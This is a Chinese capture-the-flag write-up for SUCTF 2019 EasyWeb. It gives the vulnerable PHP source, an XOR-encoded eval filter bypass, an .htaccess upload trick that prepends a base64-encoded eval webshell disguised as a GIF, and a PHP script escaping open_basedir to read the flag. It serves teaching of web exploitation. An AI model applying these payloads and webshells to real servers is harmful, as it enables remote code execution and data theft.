Buu - [SUCTF 2019]EasyWeb

Buu - [SUCTF 2019]EasyWeb

知识点:

  • 代码审计
  • 无字符RCE

count_chars($hhh, 3);

-> 这个函数两个参数,第一个参数提供字符串,第二个提供统计模式(0, 1, 2, 3) 0是默认值

-> 1:返回字符串中每个字节出现的次数;3:以整数形式返回

分析:

<?php
function get_the_flag(){ 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);# 客户端IP地址, phpinfo中可以看到
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1); 
        # strrpos 查找字符串中某个子字符串最后一次出现的位置
        # 这里用来获取后缀名
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
        # mb_strpos()用于在一个字符串中寻找另一个字符串的起始位置,返回起始位置的下标
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        # exif_imagetype()函数读取一个图像文件的头信息,返回该图像的类型,这个函数对于验证上传的文件是否为有效的图像文件非常有用。
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) # 过滤点
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh); # 执行点
?>

我第一想法是绕过 preg_match()函数直接来执行eval函数 但是正则匹配过滤掉了很多东西,我想不出来可以绕过的方法

get_the_flag()函数肯定是要有用处的,用在哪里,怎么用?

-> eval()执行代码, 可以调用get_the_flag()函数

-> eval( h h h ) : ‘ hhh):` hhh)hhh=$_GETb;&b=get_the_flag`

但是后续呢? get_the_flag()函数 是与文件操作相关的

-> 审计函数,不能是php后缀,文件内容不能有 <?

题解:

1.通过eval($hhh)调用函数

-> ?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

2.在phpinfo页面寻找信息

open_basedir — /var/www/html/:/tmp/

3.Apache服务器,文件上传类,想到apache的特性.htaccess文件

这种做法我第一次遇见,记录一下。

.htaccess文件内容

#define width 1337

#define height 1337

php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg"

AddType application/x-httpd-php .jpg

poc.jpg文件内容 (因为base64按4位一解码故文件幻数头补上2位):

GIF89a66

PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

在本地实现文件上传

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>POST数据包POC</title>

</head>

<body>

<!--题目链接-->

<form action="http://8d22cfbb-0ec0-42f4-b27f-de6d04423133.node4.buuoj.cn:81/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="post" enctype="multipart/form-data">

    <label for="file">文件名:</label>

    <input type="file" name="file" id="postedFile"><br>

    <input type="submit" name="submit" value="提交">

</form>

</body>

</html>
upload/tmp_1254adea244b6ef09ecedbb729f6c397/poc.jpg
upload/tmp_1254adea244b6ef09ecedbb729f6c397/.htaccess

蚁剑连接

在这里插入图片描述

绕过open_basedir限制

#upload/shell.php
<?php
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

echo "<br>";
echo file_get_contents('/THis_Is_tHe_F14g');

参考:

[wp](

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值